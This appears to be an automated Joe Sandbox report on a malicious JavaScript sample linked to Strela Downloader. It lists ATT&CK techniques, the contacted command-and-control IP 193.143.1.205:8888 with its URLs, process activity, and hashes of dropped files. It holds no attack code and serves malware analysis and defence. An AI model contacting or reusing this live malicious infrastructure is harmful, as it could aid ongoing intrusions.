Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
122388091976711996.js	0%	ReversingLabs
122388091976711996.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2235908909.0000016D3E770000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3466559140.0000016D3EA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/D	net.exe, 00000007.00000002.2247164723.00000137CE397000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2235544851.00000137CE397000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.2247164723.00000137CE397000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2235544851.00000137CE397000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2234105480.00000137CE3BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247097797.00000137CE368000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247164723.00000137CE397000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247248759.00000137CE3C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2235544851.00000137CE397000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.2247097797.00000137CE368000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588264
Start date and time:	2025-01-10 23:14:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	122388091976711996.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 50.16.47.176, 20.12.23.50, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:15:30	API Interceptor	22x Sleep call for process: powershell.exe modified
17:15:33	API Interceptor	1x Sleep call for process: net.exe modified
17:15:34	API Interceptor	2x Sleep call for process: svchost.exe modified
17:15:41	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19597294421812213615.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1492619129759821343.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	256361061998227470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7262976374143078
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0Z:9JZj5MiKNnNhoxuw
MD5:	F969DBF0825CD995E2B2BF552991D83B
SHA1:	30D51E735EE9B5AFEE7D4DAF020FF7D96C7DBA12
SHA-256:	FF86D2806D64DB511A2067047771164FF9D7F239A7126ABA53E3AB6BC910735A
SHA-512:	28A92BE1D72264A60F22846A6F8C2E57D805483206EDDBC43B6E63DCF1CFC5B5288E08A7467D2C3D031D125DF28CB2EB9974354293F7982947E415463B463559
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x6c6c4943, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555846776824701
Encrypted:	false
SSDEEP:	1536:lSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:lazaSvGJzYj2UlmOlOL
MD5:	04B5871D6A9A72BF8C0552A1E9BB0EED
SHA1:	375C202ADBC89FEE1E03AE9D3A70B5D0A177DE32
SHA-256:	5E52317119E11262A1CDD8841E33A531D19B14A90C24E87C175ABBEBFB4C888C
SHA-512:	56D0CD0F2B8DD7BA6A742786EC7DDEBDFC70B6A6239C7AEB6A7D30ABFC3CE7DDCA17E83B9D4B24804B3D7406B9639F4C8E8BD8A13646050C2DDF4EFEB5568AD7
Malicious:	false
Preview:	llIC... .......7.......X\...;...{......................0.e......!...{?."....}/.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.....................................f"....}...................[.."....}/..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07965913782272288
Encrypted:	false
SSDEEP:	3:xQYewXYK0cvfNaAPaU1liHXn//lalluxmO+l/SNxOf:xQzY0ENDPaUcnXAgmOH
MD5:	AEFFB90AB5353159FF27996E818F4EA6
SHA1:	65F5C9F4F793EE458CA6246964F172FAEFD9BDEA
SHA-256:	9DDD486FCC8CA33838F1827BE6E6D9779D16EE84CE58722DD83F605F100342D8
SHA-512:	D707F8123AFA31A938445C22FA8E1B4605F4E198A4B1E810597CBF8EEBFD57F379D9ABC3F70B2D6265065C5B8D4AF35A2A8F60B5894C906B17DF0185743C933F
Malicious:	false
Preview:	........................................;...{.."....}/..!...{?..........!...{?..!...{?..g...!...{?..................[.."....}/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.182409395930517
Encrypted:	false
SSDEEP:	6:iO4wUxL+q2PN72nKuAl9OmbnIFUtSwWn1ZmwswWxLVkwON72nKuAl9OmbjLJ:7bHvVaHAahFUtVWn1/PWn5OaHAaSJ
MD5:	15D41B42E93C4E0E05837FFA8A9138AE
SHA1:	2BACE35F42DA602E06A15C567D3B2236C99068FA
SHA-256:	E8CC86A8C647A0C36EE59DE1FA6A9C784F4BA736B41751FC0643483AABDEFC94
SHA-512:	A6DE7BF0820B51DFF95F6F7AF016A0CB45BF45920B26AD8CE46F68F274CF3A66628A0FE68E64B4C3B28F6339EE4E7C89830BA525401226B4B0D7A83A8E05A7F9
Malicious:	false
Preview:	2025/01/10-17:15:33.991 5e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:15:33.993 5e8 Recovering log #3.2025/01/10-17:15:33.993 5e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.182409395930517
Encrypted:	false
SSDEEP:	6:iO4wUxL+q2PN72nKuAl9OmbnIFUtSwWn1ZmwswWxLVkwON72nKuAl9OmbjLJ:7bHvVaHAahFUtVWn1/PWn5OaHAaSJ
MD5:	15D41B42E93C4E0E05837FFA8A9138AE
SHA1:	2BACE35F42DA602E06A15C567D3B2236C99068FA
SHA-256:	E8CC86A8C647A0C36EE59DE1FA6A9C784F4BA736B41751FC0643483AABDEFC94
SHA-512:	A6DE7BF0820B51DFF95F6F7AF016A0CB45BF45920B26AD8CE46F68F274CF3A66628A0FE68E64B4C3B28F6339EE4E7C89830BA525401226B4B0D7A83A8E05A7F9
Malicious:	false
Preview:	2025/01/10-17:15:33.991 5e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:15:33.993 5e8 Recovering log #3.2025/01/10-17:15:33.993 5e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.133125913251127
Encrypted:	false
SSDEEP:	6:iO4v4q2PN72nKuAl9Ombzo2jMGIFUtSaJZmwsCUuvDkwON72nKuAl9Ombzo2jMmd:7TvVaHAa8uFUtZ/iW5OaHAa8RJ
MD5:	50371A395F4CB1A62DBDEB316768C6B1
SHA1:	8D8B54631533E5112334D77BA09ACE3E67BA949C
SHA-256:	E016F922833DA309E4A4F82201A9720DC5DF2D9EAB802AD05BF26F399C8C3B7A
SHA-512:	A25658AC9DE6E4D0F628EF5B44F2B2B42B7BA8846850888231872F4D8B4E3C0DD832F96ABBB6B4E409BE423CEA09164949AA3F2A5234FB8C115B0CFCFC339241
Malicious:	false
Preview:	2025/01/10-17:15:34.007 1880 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:15:34.008 1880 Recovering log #3.2025/01/10-17:15:34.011 1880 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.133125913251127
Encrypted:	false
SSDEEP:	6:iO4v4q2PN72nKuAl9Ombzo2jMGIFUtSaJZmwsCUuvDkwON72nKuAl9Ombzo2jMmd:7TvVaHAa8uFUtZ/iW5OaHAa8RJ
MD5:	50371A395F4CB1A62DBDEB316768C6B1
SHA1:	8D8B54631533E5112334D77BA09ACE3E67BA949C
SHA-256:	E016F922833DA309E4A4F82201A9720DC5DF2D9EAB802AD05BF26F399C8C3B7A
SHA-512:	A25658AC9DE6E4D0F628EF5B44F2B2B42B7BA8846850888231872F4D8B4E3C0DD832F96ABBB6B4E409BE423CEA09164949AA3F2A5234FB8C115B0CFCFC339241
Malicious:	false
Preview:	2025/01/10-17:15:34.007 1880 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:15:34.008 1880 Recovering log #3.2025/01/10-17:15:34.011 1880 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3111a472-1191-4482-9ec5-2df6bd872545.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961095515944318
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqJsBdOg2HeAcaq3QYiubcP7E4T3y:Y2sRdsbdMHer3QYhbA7nby
MD5:	F0554D560DD9FED799C42EADA87F810A
SHA1:	CC12A312E1D1E6E8A1F336E54ECBF229073B2D1E
SHA-256:	120B9351E74797BD81067755E3CD3CD55AE869EC70D099C4E31E76E883EE468C
SHA-512:	5438161B06341FC2DB5C7878903323A0ECBD15C2B2A98BA3CD458A295EB4FE506E5926D8421ABA54A2A8DEBC178AE54EE028AF1672DD2A2E7FA47D721142C66E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107345635465","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144886},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961095515944318
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqJsBdOg2HeAcaq3QYiubcP7E4T3y:Y2sRdsbdMHer3QYhbA7nby
MD5:	F0554D560DD9FED799C42EADA87F810A
SHA1:	CC12A312E1D1E6E8A1F336E54ECBF229073B2D1E
SHA-256:	120B9351E74797BD81067755E3CD3CD55AE869EC70D099C4E31E76E883EE468C
SHA-512:	5438161B06341FC2DB5C7878903323A0ECBD15C2B2A98BA3CD458A295EB4FE506E5926D8421ABA54A2A8DEBC178AE54EE028AF1672DD2A2E7FA47D721142C66E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107345635465","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144886},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251993360345367
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7plm:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh2
MD5:	960BC4CB222DB7532F3CF0E22F759C61
SHA1:	3582A38D4F1955C81794524D24FE0D97DA9138D2
SHA-256:	07A99CB53EFD19CD69442EF8355A56AFF458AF7AAB2266C8912D301BAF0664B8
SHA-512:	3E7B48AFE9914757F84619E31C09DC9F3A5593AF075BB5FC902F9FE84F8F48CA642682E1EB9A19FB2051565CEFFC8386316E2A6ABF7268EEDC1620FCE03BF94A
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.147440002685179
Encrypted:	false
SSDEEP:	6:iO4W4q2PN72nKuAl9OmbzNMxIFUtSGF+JZmwsIF+DkwON72nKuAl9OmbzNMFLJ:7ivVaHAa8jFUtxq/Dg5OaHAa84J
MD5:	85E2018C340F4A9FD7E5338F33608B55
SHA1:	8ABE67983DA78DF955B4FF7C7AF3D5358F6C8E8C
SHA-256:	D388803EF75489013D91B2B7E64BA2427011093AAF0DE6F990DA8465A691B5F7
SHA-512:	FB396A231BBF7FFE36B9BDC307F8BABBB718D8297E0C8F671E330BDD129BA014063E4B948E9B50050467557180A61CFC706D0DE04008AA25129AA1051DA1C829
Malicious:	false
Preview:	2025/01/10-17:15:34.105 1880 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:15:34.106 1880 Recovering log #3.2025/01/10-17:15:34.108 1880 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.147440002685179
Encrypted:	false
SSDEEP:	6:iO4W4q2PN72nKuAl9OmbzNMxIFUtSGF+JZmwsIF+DkwON72nKuAl9OmbzNMFLJ:7ivVaHAa8jFUtxq/Dg5OaHAa84J
MD5:	85E2018C340F4A9FD7E5338F33608B55
SHA1:	8ABE67983DA78DF955B4FF7C7AF3D5358F6C8E8C
SHA-256:	D388803EF75489013D91B2B7E64BA2427011093AAF0DE6F990DA8465A691B5F7
SHA-512:	FB396A231BBF7FFE36B9BDC307F8BABBB718D8297E0C8F671E330BDD129BA014063E4B948E9B50050467557180A61CFC706D0DE04008AA25129AA1051DA1C829
Malicious:	false
Preview:	2025/01/10-17:15:34.105 1880 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:15:34.106 1880 Recovering log #3.2025/01/10-17:15:34.108 1880 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444712191660715
Encrypted:	false
SSDEEP:	384:ye6ci5ttiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mGs3OazzU89UTTgUL
MD5:	A7A34852EBD62BE3917AEAC75F1FFD56
SHA1:	E7B75F07548CA4625BB2EC59307094EBCA01D9E9
SHA-256:	F23B4A13110B1C759033D7CAC10C301E31CF484DD7608FF8943ADED44FB0B1BD
SHA-512:	0767EA4E574EC8482BE3A85F9274FF491DED0CEEBB490944B1F817D0CD2E38B0D90CE26A94F866B7069A9C05063B1685A0709FD6B2B58AECA9BB9BDC9F522EFF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7671509971357913
Encrypted:	false
SSDEEP:	48:7MwJioyVjfioyu8oy1C7oy16oy10aKOioy1noy1AYoy1Wioy1oioykioyBoy1nob:73Jujf3BtSXjBieb9IVXEBodRBkP
MD5:	8CC823DE5CFEC5CE265F54235ABB0523
SHA1:	140FF3F654AE7BAC7A63919BC6A9E2702A012A64
SHA-256:	D4604ED380ABAA3341BCBD76622D8F22C277E885311536115181DB8CFB8ECD86
SHA-512:	39DA2D68435783383E1642A1818E80735E9D0D820E7F5A54046633720FBAB5076EE24D0F8593DE1D13155D268A5E85F7B9E8761545B83F17A53A79888FCD5406
Malicious:	false
Preview:	.... .c.....u..A...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
